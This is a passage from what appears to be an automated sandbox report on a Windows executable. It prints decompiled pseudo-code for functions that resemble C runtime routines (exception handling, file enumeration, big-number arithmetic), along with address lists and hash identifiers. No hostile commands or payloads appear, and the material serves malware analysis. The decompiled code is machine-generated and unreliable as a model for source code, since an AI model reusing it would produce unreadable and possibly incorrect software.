				return E00007FF77FF7DA8DACF0(E00007FF77FF7DA8DB5F4(_t40), __ecx,  *(_t87 + 0x4e0) ^ _t90);
			}













                                                                                                                              0x7ff7da8e9a34
                                                                                                                              0x7ff7da8e9a39
                                                                                                                              0x7ff7da8e9a42
                                                                                                                              0x7ff7da8e9a4a
                                                                                                                              0x7ff7da8e9a51
                                                                                                                              0x7ff7da8e9a5b
                                                                                                                              0x7ff7da8e9a6c
                                                                                                                              0x7ff7da8e9a6e
                                                                                                                              0x7ff7da8e9a7a
                                                                                                                              0x7ff7da8e9a80
                                                                                                                              0x7ff7da8e9a8b
                                                                                                                              0x7ff7da8e9a91
                                                                                                                              0x7ff7da8e9a9b
                                                                                                                              0x7ff7da8e9aa4
                                                                                                                              0x7ff7da8e9aa8
                                                                                                                              0x7ff7da8e9aad
                                                                                                                              0x7ff7da8e9ac2
                                                                                                                              0x7ff7da8e9ac5
                                                                                                                              0x7ff7da8e9ace
                                                                                                                              0x7ff7da8e9ad0
                                                                                                                              0x7ff7da8e9ae3
                                                                                                                              0x7ff7da8e9af0
                                                                                                                              0x7ff7da8e9af9
                                                                                                                              0x7ff7da8e9b00
                                                                                                                              0x7ff7da8e9b0d
                                                                                                                              0x7ff7da8e9b1f
                                                                                                                              0x7ff7da8e9b23
                                                                                                                              0x7ff7da8e9b31
                                                                                                                              0x7ff7da8e9b35
                                                                                                                              0x7ff7da8e9b39
                                                                                                                              0x7ff7da8e9b43
                                                                                                                              0x7ff7da8e9b56
                                                                                                                              0x7ff7da8e9b5a
                                                                                                                              0x7ff7da8e9b5f
                                                                                                                              0x7ff7da8e9b8e

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1239891234-0
                                                                                                                              • Opcode ID: d01ddf7f56426acea5c43d672f80e072ef38b87dfc08171ccb6652c2c2b7d2bb
                                                                                                                              • Instruction ID: f892264354e35f347c456d6c076da8cf8f48b20e22286567647a480b81df883c
                                                                                                                              • Opcode Fuzzy Hash: d01ddf7f56426acea5c43d672f80e072ef38b87dfc08171ccb6652c2c2b7d2bb
                                                                                                                              • Instruction Fuzzy Hash: 15317132608B8285EB219B25E8402ADB3A4FB98754F940536EE9D43B96DF3CD555CB10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F0904 Relevance: 7.8, APIs: 5, Instructions: 282COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 86%
                                                                                                                              			E00007FF77FF7DA8F0904(void* __ecx, long long __rbx, intOrPtr* __rcx, void** __rdx) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r15;
				signed int _t70;
				void* _t77;
				signed int _t96;
				void* _t109;
				void* _t113;
				signed long long _t140;
				signed long long _t141;
				intOrPtr _t142;
				signed short* _t143;
				intOrPtr* _t145;
				void* _t146;
				intOrPtr* _t154;
				intOrPtr* _t156;
				intOrPtr* _t159;
				long long _t160;
				intOrPtr* _t161;
				signed short* _t167;
				signed short* _t168;
				signed long long _t180;
				signed long long _t182;
				long long _t186;
				signed long long _t202;
				void* _t207;
				intOrPtr* _t211;
				intOrPtr* _t212;
				void* _t214;
				intOrPtr _t220;
				void* _t222;
				void* _t223;
				void* _t225;
				signed long long _t226;
				void* _t228;
				void* _t239;
				signed long long _t240;
				long long _t241;
				void* _t244;
				union _FINDEX_INFO_LEVELS _t249;
				signed short* _t250;
				signed long long _t254;
				intOrPtr* _t255;
				WCHAR* _t258;
				signed long long _t260;

				 *((long long*)(_t225 + 0x18)) = __rbx;
				_t223 = _t225 - 0x1c0;
				_t226 = _t225 - 0x2c0;
				_t140 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t141 = _t140 ^ _t226;
				 *(_t223 + 0x1b8) = _t141;
				r12d = 0;
				 *((long long*)(_t226 + 0x50)) = __rdx;
				if (__rdx != 0) goto 0xda8f095c;
				E00007FF77FF7DA8E4394(_t141);
				_t5 = _t239 + 0x16; // 0x16
				 *_t141 = _t5;
				E00007FF77FF7DA8E9D00();
				goto 0xda8f0cb4;
				asm("xorps xmm0, xmm0");
				 *__rdx = _t239;
				_t142 =  *((intOrPtr*)(__rcx));
				asm("movdqu [esp+0x30], xmm0");
				 *(_t226 + 0x40) = _t239;
				if (_t142 == 0) goto 0xda8f0b8c;
				 *((intOrPtr*)(_t223 + 0x1b0)) = 0x3f002a;
				 *((intOrPtr*)(_t223 + 0x1b4)) = r12w;
				E00007FF77FF7DA8EE550(_t142, _t223 + 0x1b0);
				_t250 =  *((intOrPtr*)(__rcx));
				if (_t142 != 0) goto 0xda8f09e4;
				r8d = 0;
				_t167 = _t250;
				if (E00007FF77FF7DA8F0CF4(0x801, _t167, _t223 + 0x1b0,  *((intOrPtr*)(_t226 + 0x38)), _t228, _t226 + 0x30) != 0) goto 0xda8f0b35;
				goto 0xda8f0b29;
				if (_t142 == _t250) goto 0xda8f0a08;
				_t109 = ( *_t167 & 0x0000ffff) - 0x2f - 0x2d;
				if (_t109 > 0) goto 0xda8f09ff;
				asm("dec eax");
				if (_t109 < 0) goto 0xda8f0a08;
				_t168 = _t167 - 2;
				if (_t168 != _t250) goto 0xda8f09e9;
				_t96 =  *_t168 & 0x0000ffff;
				if (_t96 != 0x3a) goto 0xda8f0a1a;
				_t143 =  &(_t250[1]);
				if (_t168 != _t143) goto 0xda8f0a69;
				_t113 = _t96 - 0x2f - 0x2d;
				if (_t113 > 0) goto 0xda8f0a2f;
				asm("dec eax");
				if (_t113 < 0) goto 0xda8f0a32;
				 *((intOrPtr*)(_t226 + 0x28)) = r12d;
				 *(_t226 + 0x20) = _t239;
				asm("dec ebp");
				r9d = 0;
				FindFirstFileExW(_t258, _t249, _t244);
				if (_t143 != 0xffffffff) goto 0xda8f0a95;
				if (E00007FF77FF7DA8F0CF4(_t143, _t250, _t239,  *((intOrPtr*)(_t226 + 0x38)), _t239, _t226 + 0x30) != 0) goto 0xda8f0b64;
				goto 0xda8f0b29;
				_t240 =  *((intOrPtr*)(_t226 + 0x38)) -  *((intOrPtr*)(_t226 + 0x30)) >> 3;
				if ( *((short*)(_t223 - 0x74)) != 0x2e) goto 0xda8f0abd;
				_t70 =  *(_t223 - 0x72) & 0x0000ffff;
				if (_t70 == 0) goto 0xda8f0adb;
				if (_t70 != 0x2e) goto 0xda8f0abd;
				if ( *((intOrPtr*)(_t223 - 0x70)) == 0) goto 0xda8f0adb;
				if (E00007FF77FF7DA8F0CF4(_t143, _t223 - 0x74, _t250,  *((intOrPtr*)(_t226 + 0x38)) -  *((intOrPtr*)(_t226 + 0x30)) >> 3, _t244 & (_t168 - _t250 >> 0x00000001) + 0x00000001, _t226 + 0x30) != 0) goto 0xda8f0b5b;
				if (FindNextFileW(_t239) != 0) goto 0xda8f0aa1;
				_t220 =  *((intOrPtr*)(_t226 + 0x38));
				_t211 =  *((intOrPtr*)(_t226 + 0x30));
				if (_t240 == _t220 - _t211 >> 3) goto 0xda8f0b1d;
				_t33 =  &(_t143[4]); // 0x8
				r8d = _t33;
				E00007FF77FF7DA8F6710(_t143, _t211 + _t240 * 8, (_t220 - _t211 >> 3) - _t240, _t211, _t220, _t223, _t244 & (_t168 - _t250 >> 0x00000001) + 0x00000001, 0x7ff7da8f08f0, __rcx);
				FindClose(_t207);
				r12d = 0;
				_t260 = __rcx + 8;
				goto 0xda8f097a;
				_t154 = _t211;
				if (_t211 ==  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0c07;
				E00007FF77FF7DA8E9D68( *_t260,  *_t154);
				if (_t154 + 8 !=  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0b43;
				goto 0xda8f0c07;
				FindClose(_t214);
				_t212 =  *((intOrPtr*)(_t226 + 0x30));
				_t156 = _t212;
				if (_t212 ==  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0c07;
				_t180 =  *_t156;
				_t77 = E00007FF77FF7DA8E9D68( *_t260, _t180);
				if (_t156 + 8 !=  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0b77;
				goto 0xda8f0c07;
				_t202 = _t240;
				 *(_t226 + 0x48) = _t202;
				_t145 = _t212;
				_t254 = (_t220 - _t212 >> 3) + 1;
				if (_t212 == _t220) goto 0xda8f0bce;
				_t182 = (_t180 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *_t145 + _t182 * 2)) != r12w) goto 0xda8f0bb0;
				_t146 = _t145 + 8;
				if (_t146 != _t220) goto 0xda8f0ba9;
				 *(_t226 + 0x48) = _t202 + 1 + _t182;
				r8d = 2;
				E00007FF77FF7DA8E7D5C(_t77, _t254, _t202 + 1 + _t182, _t244 & (_t168 - _t250 >> 0x00000001) + 0x00000001);
				if (_t146 != 0) goto 0xda8f0c16;
				E00007FF77FF7DA8E9D68(_t146, _t254);
				_t159 = _t212;
				if (_t212 == _t220) goto 0xda8f0c04;
				E00007FF77FF7DA8E9D68(_t146,  *_t159);
				_t160 = _t159 + 8;
				if (_t160 != _t220) goto 0xda8f0bf3;
				E00007FF77FF7DA8E9D68(_t146, _t212);
				goto 0xda8f0cb4;
				_t186 = _t146 + _t254 * 8;
				_t255 = _t212;
				 *((long long*)(_t223 + 0x1b0)) = _t186;
				_t241 = _t186;
				if (_t212 == _t220) goto 0xda8f0c82;
				if ( *((intOrPtr*)( *_t255 + ((_t260 | 0xffffffff) + 1) * 2)) != 0) goto 0xda8f0c3b;
				if (E00007FF77FF7DA8F07F0(_t241 - _t186 >> 1, _t160, _t241,  *(_t226 + 0x48) - (_t241 - _t186 >> 1), _t220,  *_t255, (_t260 | 0xffffffff) + 2, _t222) != 0) goto 0xda8f0cde;
				 *((long long*)(_t255 + _t160 - _t212)) = _t241;
				if (_t255 + 8 != _t220) goto 0xda8f0c32;
				 *((long long*)( *((intOrPtr*)(_t226 + 0x50)))) = _t160;
				E00007FF77FF7DA8E9D68( *((intOrPtr*)(_t226 + 0x50)),  *((intOrPtr*)(_t223 + 0x1b0)));
				_t161 = _t212;
				if (_t212 == _t220) goto 0xda8f0caa;
				E00007FF77FF7DA8E9D68( *((intOrPtr*)(_t226 + 0x50)),  *_t161);
				if (_t161 + 8 != _t220) goto 0xda8f0c99;
				E00007FF77FF7DA8E9D68( *((intOrPtr*)(_t226 + 0x50)), _t212);
				return E00007FF77FF7DA8DACF0(0, 0,  *(_t223 + 0x1b8) ^ _t226);
			}

















































                                                                                                                              0x7ff7da8f0904
                                                                                                                              0x7ff7da8f0914
                                                                                                                              0x7ff7da8f091c
                                                                                                                              0x7ff7da8f0923
                                                                                                                              0x7ff7da8f092a
                                                                                                                              0x7ff7da8f092d
                                                                                                                              0x7ff7da8f0934
                                                                                                                              0x7ff7da8f0937
                                                                                                                              0x7ff7da8f0942
                                                                                                                              0x7ff7da8f0944
                                                                                                                              0x7ff7da8f0949
                                                                                                                              0x7ff7da8f094e
                                                                                                                              0x7ff7da8f0950
                                                                                                                              0x7ff7da8f0957
                                                                                                                              0x7ff7da8f095c
                                                                                                                              0x7ff7da8f095f
                                                                                                                              0x7ff7da8f0962
                                                                                                                              0x7ff7da8f0965
                                                                                                                              0x7ff7da8f0975
                                                                                                                              0x7ff7da8f097d
                                                                                                                              0x7ff7da8f098a
                                                                                                                              0x7ff7da8f0997
                                                                                                                              0x7ff7da8f09a9
                                                                                                                              0x7ff7da8f09ae
                                                                                                                              0x7ff7da8f09b7
                                                                                                                              0x7ff7da8f09be
                                                                                                                              0x7ff7da8f09c3
                                                                                                                              0x7ff7da8f09d4
                                                                                                                              0x7ff7da8f09df
                                                                                                                              0x7ff7da8f09e7
                                                                                                                              0x7ff7da8f09f0
                                                                                                                              0x7ff7da8f09f4
                                                                                                                              0x7ff7da8f09f9
                                                                                                                              0x7ff7da8f09fd
                                                                                                                              0x7ff7da8f09ff
                                                                                                                              0x7ff7da8f0a06
                                                                                                                              0x7ff7da8f0a08
                                                                                                                              0x7ff7da8f0a0f
                                                                                                                              0x7ff7da8f0a11
                                                                                                                              0x7ff7da8f0a18
                                                                                                                              0x7ff7da8f0a1e
                                                                                                                              0x7ff7da8f0a22
                                                                                                                              0x7ff7da8f0a27
                                                                                                                              0x7ff7da8f0a2d
                                                                                                                              0x7ff7da8f0a35
                                                                                                                              0x7ff7da8f0a45
                                                                                                                              0x7ff7da8f0a4c
                                                                                                                              0x7ff7da8f0a4f
                                                                                                                              0x7ff7da8f0a5a
                                                                                                                              0x7ff7da8f0a67
                                                                                                                              0x7ff7da8f0a80
                                                                                                                              0x7ff7da8f0a90
                                                                                                                              0x7ff7da8f0a9c
                                                                                                                              0x7ff7da8f0aa6
                                                                                                                              0x7ff7da8f0aa8
                                                                                                                              0x7ff7da8f0aaf
                                                                                                                              0x7ff7da8f0ab5
                                                                                                                              0x7ff7da8f0abb
                                                                                                                              0x7ff7da8f0ad5
                                                                                                                              0x7ff7da8f0aeb
                                                                                                                              0x7ff7da8f0aed
                                                                                                                              0x7ff7da8f0af2
                                                                                                                              0x7ff7da8f0b04
                                                                                                                              0x7ff7da8f0b14
                                                                                                                              0x7ff7da8f0b14
                                                                                                                              0x7ff7da8f0b18
                                                                                                                              0x7ff7da8f0b20
                                                                                                                              0x7ff7da8f0b26
                                                                                                                              0x7ff7da8f0b29
                                                                                                                              0x7ff7da8f0b30
                                                                                                                              0x7ff7da8f0b35
                                                                                                                              0x7ff7da8f0b3d
                                                                                                                              0x7ff7da8f0b46
                                                                                                                              0x7ff7da8f0b54
                                                                                                                              0x7ff7da8f0b56
                                                                                                                              0x7ff7da8f0b5e
                                                                                                                              0x7ff7da8f0b64
                                                                                                                              0x7ff7da8f0b69
                                                                                                                              0x7ff7da8f0b71
                                                                                                                              0x7ff7da8f0b77
                                                                                                                              0x7ff7da8f0b7a
                                                                                                                              0x7ff7da8f0b88
                                                                                                                              0x7ff7da8f0b8a
                                                                                                                              0x7ff7da8f0b8f
                                                                                                                              0x7ff7da8f0b95
                                                                                                                              0x7ff7da8f0b9e
                                                                                                                              0x7ff7da8f0ba1
                                                                                                                              0x7ff7da8f0ba7
                                                                                                                              0x7ff7da8f0bb0
                                                                                                                              0x7ff7da8f0bb8
                                                                                                                              0x7ff7da8f0bbd
                                                                                                                              0x7ff7da8f0bc7
                                                                                                                              0x7ff7da8f0bc9
                                                                                                                              0x7ff7da8f0bce
                                                                                                                              0x7ff7da8f0bd7
                                                                                                                              0x7ff7da8f0be2
                                                                                                                              0x7ff7da8f0be6
                                                                                                                              0x7ff7da8f0beb
                                                                                                                              0x7ff7da8f0bf1
                                                                                                                              0x7ff7da8f0bf6
                                                                                                                              0x7ff7da8f0bfb
                                                                                                                              0x7ff7da8f0c02
                                                                                                                              0x7ff7da8f0c0a
                                                                                                                              0x7ff7da8f0c11
                                                                                                                              0x7ff7da8f0c16
                                                                                                                              0x7ff7da8f0c1a
                                                                                                                              0x7ff7da8f0c1d
                                                                                                                              0x7ff7da8f0c24
                                                                                                                              0x7ff7da8f0c2a
                                                                                                                              0x7ff7da8f0c43
                                                                                                                              0x7ff7da8f0c68
                                                                                                                              0x7ff7da8f0c71
                                                                                                                              0x7ff7da8f0c80
                                                                                                                              0x7ff7da8f0c89
                                                                                                                              0x7ff7da8f0c8c
                                                                                                                              0x7ff7da8f0c91
                                                                                                                              0x7ff7da8f0c97
                                                                                                                              0x7ff7da8f0c9c
                                                                                                                              0x7ff7da8f0ca8
                                                                                                                              0x7ff7da8f0cad
                                                                                                                              0x7ff7da8f0cdd

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileFindFirst_invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2227656907-0
                                                                                                                              • Opcode ID: d25e11c0f83359b7129dee35ad9ddd637a6d65ab07fbb3c505e4348c5bd52168
                                                                                                                              • Instruction ID: 23ec20a17a69d60756a2ee8a346ba36e0ee37697c53d99839a55494ef236c7de
                                                                                                                              • Opcode Fuzzy Hash: d25e11c0f83359b7129dee35ad9ddd637a6d65ab07fbb3c505e4348c5bd52168
                                                                                                                              • Instruction Fuzzy Hash: BBB1D422B186D785FA62AB2194001BDE760FB64BE4FC44173ED5D47B8AEE3CE561C320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F2C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 70%
                                                                                                                              			E00007FF77FF7DA8F2C80(signed int* __rcx, signed int __rdx, signed int __r10, long long __r13, signed int _a8, long long _a16, signed int _a24, signed int _a32) {
				long long _v64;
				void* _v532;
				intOrPtr _v536;
				signed long long _v544;
				signed int _v552;
				signed long long _v560;
				signed int _v564;
				signed int _v568;
				void* __rbx;
				void* __rsi;
				signed int _t156;
				signed int _t174;
				signed int _t189;
				signed int _t206;
				signed int _t208;
				signed int _t227;
				void* _t244;
				void* _t251;
				signed long long _t256;
				void* _t268;
				signed long long _t269;
				signed int* _t271;
				intOrPtr* _t277;
				signed long long _t280;
				signed long long _t283;
				signed long long _t285;
				signed long long _t287;
				signed long long _t289;
				void* _t290;
				signed int _t293;
				signed long long _t295;
				signed int _t302;
				signed int _t305;
				signed long long _t306;
				void* _t312;
				signed int _t314;
				signed long long _t316;
				void* _t323;
				signed long long _t334;
				long long _t335;

				_t335 = __r13;
				_a16 = __rdx;
				r10d =  *__rcx;
				if (r10d == 0) goto 0xda8f3108;
				if ( *__rdx == 0) goto 0xda8f3108;
				r10d = r10d - 1;
				_t2 = _t290 - 1; // 0x435
				if (_t2 != 0) goto 0xda8f2dbb;
				r12d =  *(__rdx + 4);
				if (r12d != 1) goto 0xda8f2cf2;
				_t271 =  &(__rcx[1]);
				 *__rcx = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF7DA8F43AC(_t251, _t268, _t271, __rdx, __rcx,  &_v532, _t312);
				goto 0xda8f310a;
				if (r10d != 0) goto 0xda8f2d34;
				_t208 = _t271[1];
				 *_t271 = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF7DA8F43AC(_t251, _t268,  &(_t271[1]), __rdx, __rcx,  &_v532, _t312);
				_t189 = _t208 % r12d;
				__rcx[1] = _t189;
				bpl = _t189 != 0;
				 *__rcx = 0;
				goto 0xda8f310a;
				r15d = 0xffffffff;
				if (r10d == r15d) goto 0xda8f2d80;
				r8d =  *(__rcx + 4 + __r10 * 4);
				r10d = r10d + r15d;
				_t174 = _t208 / r12d / _t334;
				_t293 = __rdx;
				if (r10d != r15d) goto 0xda8f2d50;
				r9d = 0;
				_v536 = 0;
				_t302 =  &_v532;
				 *__rcx = 0;
				E00007FF77FF7DA8F43AC( &_v532 | _t295 << 0x00000020, _t268,  &(__rcx[1]), __rdx, __rcx, _t302, _t334);
				__rcx[1] = _t208;
				__rcx[2] = _t174;
				bpl = _t174 != 0;
				 *__rcx = 1;
				goto 0xda8f310a;
				if (1 - r10d > 0) goto 0xda8f3108;
				r8d = r10d;
				_t285 = r10d;
				r8d = r8d - 1;
				r9d = r10d;
				_t269 = r8d;
				if (_t285 - _t269 < 0) goto 0xda8f2e21;
				_t277 = (__rdx >> 0x20) + 4 + _t285 * 4;
				if ( *((intOrPtr*)(__rdx - _t269 * 4 - __rcx + _t277)) !=  *_t277) goto 0xda8f2e0a;
				r9d = r9d - 1;
				if (_t285 - 1 - _t269 >= 0) goto 0xda8f2df1;
				goto 0xda8f2e21;
				_t287 = r9d - r8d;
				_t256 = r9d;
				if ( *((intOrPtr*)(__rdx + 4 + _t287 * 4)) -  *(__rcx + 4 + _t256 * 4) >= 0) goto 0xda8f2e24;
				r8d = r8d + 1;
				_t227 = r8d;
				if (_t227 == 0) goto 0xda8f3108;
				r9d =  *(__rdx + 4 + _t295 * 4);
				_t48 = _t293 - 2; // 0x434
				r11d =  *(__rdx + 4 + _t256 * 4);
				asm("inc ecx");
				_a24 = r11d;
				if (_t227 == 0) goto 0xda8f2e68;
				r14d = 0x20;
				r14d = r14d - 0x1f;
				_a8 = r14d;
				if (0x1f - _t48 == 0) goto 0xda8f2eb4;
				goto 0xda8f2e77;
				_a8 = 0;
				r14d = 0;
				r9d = r11d >> r14d;
				r11d = r11d << 0x20;
				r9d = r9d | r9d << 0x00000020;
				_a24 = r11d;
				if (_t208 - 2 <= 0) goto 0xda8f2eb4;
				r11d = r11d |  *(__rdx + 4 + _t256 * 4) >> r14d;
				_a24 = r11d;
				r12d = _t302 - 1;
				_v552 = _t295;
				if (r12d < 0) goto 0xda8f30c9;
				r15d = 0xffffffff;
				_v544 = _t256;
				_v64 = __r13;
				r13d = _t334 + __rdx;
				_v560 = _t256;
				if (r13d - r10d > 0) goto 0xda8f2efc;
				goto 0xda8f2efe;
				_a32 = 0;
				r11d =  *(__rcx + 4 + _t256 * 4);
				_v568 = _t277 - 4;
				_v564 = 0;
				if (0x20 == 0) goto 0xda8f2f56;
				r8d = r11d;
				r11d = r11d << 0x20;
				if (r13d - 3 < 0) goto 0xda8f2f5b;
				_t156 =  *(__rcx + 4 + (_v568 << 0x20) * 4) >> r14d;
				r11d = r11d | _t156;
				goto 0xda8f2f5b;
				_t305 = _v568;
				_t280 = _v560;
				_t314 = _t305;
				r8d = _t156 / _t280 % _t280;
				if (_t314 - __rdx <= 0) goto 0xda8f2f92;
				_t306 = _t305 + 0x1;
				if (_t306 - __rdx > 0) goto 0xda8f2fd5;
				asm("o16 nop [eax+eax]");
				_t283 = _t306 << 0x00000020 | _t295;
				if (0x1 - _t283 <= 0) goto 0xda8f2fcd;
				_t316 = __rdx - 1;
				if (_t306 + _t280 - __rdx <= 0) goto 0xda8f2fb0;
				r14d = _a8;
				if (_t316 == 0) goto 0xda8f30a0;
				r11d = 0;
				if (_t208 == 0) goto 0xda8f304c;
				r15d = _a8;
				r8d = r10d;
				_t323 =  >=  ? _t295 + 0x1 >> 0x20 : (_t295 + 0x1 >> 0x20) + 1;
				r11d = r11d + 1;
				 *((intOrPtr*)(__rcx + 4 + _t283 * 4)) = __rcx[0xffffffff00000002] - r8d;
				if (r11d - _t208 < 0) goto 0xda8f3000;
				r14d = r15d;
				_a8 = r15d;
				r15d = 0xffffffff;
				if (0x1 - _t323 >= 0) goto 0xda8f309c;
				r10d = 0;
				if (_t208 == 0) goto 0xda8f3099;
				r10d = r10d + 1;
				_t289 =  &(__rcx[0xffffffff00000001]);
				 *(_t289 + 4) = r8d;
				_t244 = r10d - _t208;
				if (_t244 < 0) goto 0xda8f3070;
				_t120 = _t335 - 1; // 0x0
				r10d = _t120;
				r13d = r13d - 1;
				r12d = r12d - 1;
				_v552 = (_v552 << 0x20) + 0x1;
				if (_t244 >= 0) goto 0xda8f2ef0;
				r10d = r10d + 1;
				if (r10d -  *__rcx >= 0) goto 0xda8f30e0;
				 *((intOrPtr*)(__rcx + 4 + ((0x1 + _t314) * _t280 * __rdx - _t287) * _t316 * 4)) = 0;
				if (r10d + 1 -  *__rcx < 0) goto 0xda8f30d4;
				 *__rcx = r10d;
				if (r10d == 0) goto 0xda8f3103;
				_t206 = _t323 - 1;
				r10d = _t206;
				if ( *((intOrPtr*)(__rcx + 4 + _t289 * 4)) != 0) goto 0xda8f3103;
				 *__rcx = _t206;
				if (_t206 != 0) goto 0xda8f30f0;
				goto 0xda8f310a;
				return 0;
			}











































                                                                                                                              0x7ff7da8f2c80
                                                                                                                              0x7ff7da8f2c80
                                                                                                                              0x7ff7da8f2c96
                                                                                                                              0x7ff7da8f2ca2
                                                                                                                              0x7ff7da8f2cac
                                                                                                                              0x7ff7da8f2cb2
                                                                                                                              0x7ff7da8f2cb5
                                                                                                                              0x7ff7da8f2cba
                                                                                                                              0x7ff7da8f2cc0
                                                                                                                              0x7ff7da8f2cca
                                                                                                                              0x7ff7da8f2cd4
                                                                                                                              0x7ff7da8f2cd8
                                                                                                                              0x7ff7da8f2cda
                                                                                                                              0x7ff7da8f2cdd
                                                                                                                              0x7ff7da8f2ce6
                                                                                                                              0x7ff7da8f2ced
                                                                                                                              0x7ff7da8f2cf5
                                                                                                                              0x7ff7da8f2cf7
                                                                                                                              0x7ff7da8f2cff
                                                                                                                              0x7ff7da8f2d01
                                                                                                                              0x7ff7da8f2d08
                                                                                                                              0x7ff7da8f2d11
                                                                                                                              0x7ff7da8f2d1a
                                                                                                                              0x7ff7da8f2d21
                                                                                                                              0x7ff7da8f2d24
                                                                                                                              0x7ff7da8f2d2d
                                                                                                                              0x7ff7da8f2d2f
                                                                                                                              0x7ff7da8f2d34
                                                                                                                              0x7ff7da8f2d43
                                                                                                                              0x7ff7da8f2d50
                                                                                                                              0x7ff7da8f2d5b
                                                                                                                              0x7ff7da8f2d6d
                                                                                                                              0x7ff7da8f2d78
                                                                                                                              0x7ff7da8f2d7e
                                                                                                                              0x7ff7da8f2d80
                                                                                                                              0x7ff7da8f2d83
                                                                                                                              0x7ff7da8f2d87
                                                                                                                              0x7ff7da8f2d8c
                                                                                                                              0x7ff7da8f2d97
                                                                                                                              0x7ff7da8f2d9f
                                                                                                                              0x7ff7da8f2dab
                                                                                                                              0x7ff7da8f2dae
                                                                                                                              0x7ff7da8f2db4
                                                                                                                              0x7ff7da8f2db6
                                                                                                                              0x7ff7da8f2dbe
                                                                                                                              0x7ff7da8f2dc4
                                                                                                                              0x7ff7da8f2dc7
                                                                                                                              0x7ff7da8f2dca
                                                                                                                              0x7ff7da8f2dcd
                                                                                                                              0x7ff7da8f2dd0
                                                                                                                              0x7ff7da8f2dd6
                                                                                                                              0x7ff7da8f2ded
                                                                                                                              0x7ff7da8f2df7
                                                                                                                              0x7ff7da8f2df9
                                                                                                                              0x7ff7da8f2e06
                                                                                                                              0x7ff7da8f2e08
                                                                                                                              0x7ff7da8f2e10
                                                                                                                              0x7ff7da8f2e13
                                                                                                                              0x7ff7da8f2e1f
                                                                                                                              0x7ff7da8f2e21
                                                                                                                              0x7ff7da8f2e24
                                                                                                                              0x7ff7da8f2e27
                                                                                                                              0x7ff7da8f2e2d
                                                                                                                              0x7ff7da8f2e32
                                                                                                                              0x7ff7da8f2e35
                                                                                                                              0x7ff7da8f2e3c
                                                                                                                              0x7ff7da8f2e40
                                                                                                                              0x7ff7da8f2e48
                                                                                                                              0x7ff7da8f2e4f
                                                                                                                              0x7ff7da8f2e57
                                                                                                                              0x7ff7da8f2e5a
                                                                                                                              0x7ff7da8f2e64
                                                                                                                              0x7ff7da8f2e66
                                                                                                                              0x7ff7da8f2e6d
                                                                                                                              0x7ff7da8f2e74
                                                                                                                              0x7ff7da8f2e86
                                                                                                                              0x7ff7da8f2e89
                                                                                                                              0x7ff7da8f2e8c
                                                                                                                              0x7ff7da8f2e8f
                                                                                                                              0x7ff7da8f2e9a
                                                                                                                              0x7ff7da8f2ea9
                                                                                                                              0x7ff7da8f2eac
                                                                                                                              0x7ff7da8f2eb4
                                                                                                                              0x7ff7da8f2eb8
                                                                                                                              0x7ff7da8f2ec3
                                                                                                                              0x7ff7da8f2ecc
                                                                                                                              0x7ff7da8f2ed2
                                                                                                                              0x7ff7da8f2eda
                                                                                                                              0x7ff7da8f2ee2
                                                                                                                              0x7ff7da8f2ee6
                                                                                                                              0x7ff7da8f2ef3
                                                                                                                              0x7ff7da8f2efa
                                                                                                                              0x7ff7da8f2efe
                                                                                                                              0x7ff7da8f2f11
                                                                                                                              0x7ff7da8f2f16
                                                                                                                              0x7ff7da8f2f1b
                                                                                                                              0x7ff7da8f2f21
                                                                                                                              0x7ff7da8f2f28
                                                                                                                              0x7ff7da8f2f3b
                                                                                                                              0x7ff7da8f2f42
                                                                                                                              0x7ff7da8f2f4f
